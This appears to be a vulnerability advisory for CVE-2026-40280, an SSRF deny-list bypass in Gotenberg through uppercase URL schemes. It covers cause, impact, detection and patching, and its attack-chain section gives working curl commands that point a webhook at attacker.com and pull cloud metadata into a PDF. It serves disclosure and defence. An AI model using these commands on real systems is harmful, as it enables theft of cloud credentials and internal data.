CVE-2026-40280: 
NixOS vulnerability analysis and mitigation

CVE-2026-40280 is a Server-Side Request Forgery (SSRF) vulnerability in Gotenberg, an open-source Docker-powered stateless API for PDF files, caused by a case-sensitive URL scheme regex that fails to block uppercase variants in its private-IP deny-lists. The flaw affects all versions of github.com/gotenberg/gotenberg/v8 up to and including 8.30.1, and was disclosed on April 30, 2026, with a patch released in version 8.31.0. It carries a CVSS v3.1 base score of 7.5 (High) and a CVSS v4.0 base score of 7.8 (High) (GitHub Advisory). The vulnerability is a recurrence of the same case-insensitive scheme bypass pattern previously reported in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but affecting the newly added webhook and downloadFrom deny-lists (Gotenberg Advisory).

The root cause (CWE-918: SSRF) lies in the default regex patterns ^https?:// used by --webhook-deny-list and --api-download-from-deny-list, which are compiled without a case-insensitive flag in pkg/gotenberg/filter.go:FilterDeadline() (GitHub Advisory). Because Go's net/url.Parse() normalizes the URL scheme to lowercase before making the outbound TCP connection, an attacker can supply uppercase variants such as HTTP://, HTTPS://, or Http:// to bypass the regex filter while the connection still succeeds normally. The affected code locations are pkg/modules/webhook/webhook.go:42 (default webhook deny-list regex) and pkg/modules/api/api.go:199 (default downloadFrom deny-list regex). This is confirmed in Docker: a request with http://172.17.0.1:12345/ returns HTTP 403 (blocked), while HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed) (Gotenberg Advisory).

An unauthenticated remote attacker can trigger outbound connections from the Gotenberg server to private IP ranges (10.x.x.x, 172.16–31.x.x, 192.168.x.x), loopback (127.x.x.x), and link-local addresses (169.254.x.x) that the deny-list was designed to block (GitHub Advisory). The downloadFrom SSRF vector is particularly dangerous because response content from internal services is embedded into the generated PDF, enabling direct data exfiltration from services that respond with Content-Disposition headers. In cloud environments, this could expose instance metadata services (e.g., HTTP://169.254.169.254/latest/meta-data/), potentially leaking cloud credentials, environment variables, and configuration secrets (Gotenberg Advisory).

A proof-of-concept exploit consisting of detailed curl commands with specific uppercase-scheme payloads is publicly available in the GitHub security advisory, demonstrating both the webhook and downloadFrom bypass paths (Gotenberg Advisory). No authentication or special privileges are required, and exploitation requires only network access to the Gotenberg API endpoint. The EPSS score is approximately 0.039% (3rd percentile), and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing (GitHub Advisory). No specific threat actor attribution has been reported.

1. Reconnaissance: Identify internet-facing or internally accessible Gotenberg instances running version ≤ 8.30.1 (e.g., via Shodan searching for the Gotenberg API banner on port 3000/3001).
2. Confirm baseline blocking: Send a POST request with a lowercase private-IP webhook URL to verify the deny-list is active and returns HTTP 403:

curl -s -w "\nHTTP %{http_code}" -X POST http://<target>:3001/forms/chromium/convert/url \
  -H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
  -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
  -F "url=https://example.com/"
# Expected: HTTP 403

3. Bypass webhook deny-list: Resend the request with an uppercase HTTP:// scheme to bypass the case-sensitive regex, triggering an outbound connection to the internal target:

curl -s -w "\nHTTP %{http_code}" -X POST http://<target>:3001/forms/chromium/convert/url \
  -H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
  -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
  -F "url=https://example.com/"
# Expected: HTTP 202; Gotenberg logs show connection attempt to internal host

4. Exfiltrate internal content via downloadFrom: Use the downloadFrom parameter with an uppercase scheme to fetch content from an internal service and embed it in the generated PDF:

curl -s -w "\nHTTP %{http_code}" http://<target>:3001/forms/chromium/convert/html \
  -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
  -F 'downloadFrom=[{"url":"HTTP://169.254.169.254/latest/meta-data/"}]' \
  <<< 'test' -o output.pdf
# If the internal service responds, content is embedded in output.pdf

5. Retrieve exfiltrated data: Open the resulting PDF to read the content fetched from the internal service, which may include cloud metadata, credentials, or other sensitive information (Gotenberg Advisory).

• Network: Unexpected outbound TCP connections from the Gotenberg container to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback (127.0.0.1), or link-local (169.254.0.0/16) addresses; outbound connections to cloud metadata endpoints (169.254.169.254).
• Logs: Gotenberg application logs containing entries such as Post "http://<private-ip>:<port>/...": connection refused following requests with uppercase URL schemes; HTTP 202 responses to API requests containing HTTP:// or HTTPS:// (uppercase) in webhook or downloadFrom parameters.
• API Access Logs: Incoming POST requests to /forms/chromium/convert/url or /forms/chromium/convert/html with Gotenberg-Webhook-Url headers or downloadFrom form fields containing uppercase URL schemes (e.g., HTTP://, HTTPS://, Http://).
• File System: Generated PDF output files containing unexpected content from internal services (e.g., cloud metadata, internal HTML pages) rather than the expected conversion output (Gotenberg Advisory).

Upgrade Gotenberg to version 8.31.0 or later, which fixes the vulnerability by updating the default deny-list regexes to use case-insensitive matching (commit 3f01ca1) (Patch Commit, GitHub Advisory). If immediate patching is not possible, apply one or more of the following workarounds:

• Manually set --webhook-deny-list and --api-download-from-deny-list to use case-insensitive regex patterns (e.g., prefix with (?i)).
• Disable webhook and downloadFrom functionality entirely using --webhook-disable and --api-disable-download-from flags.
• Implement network-level egress controls (firewall rules, security groups) to block outbound connections from the Gotenberg container to private IP ranges and metadata endpoints.

The vulnerability was reported by researcher morimori-dev and published by Gotenberg maintainer gulien on April 30, 2026 (Gotenberg Advisory). A technical write-up was published at infinitsec.net shortly after NVD publication, highlighting the SSRF bypass mechanism (infinitsec.net). The vulnerability is notable as a third recurrence of the same case-insensitive URL scheme bypass pattern in Gotenberg (following CVE-2024-21527 and CVE-2026-27018), drawing attention to the systemic nature of the flaw in the project's filter implementation.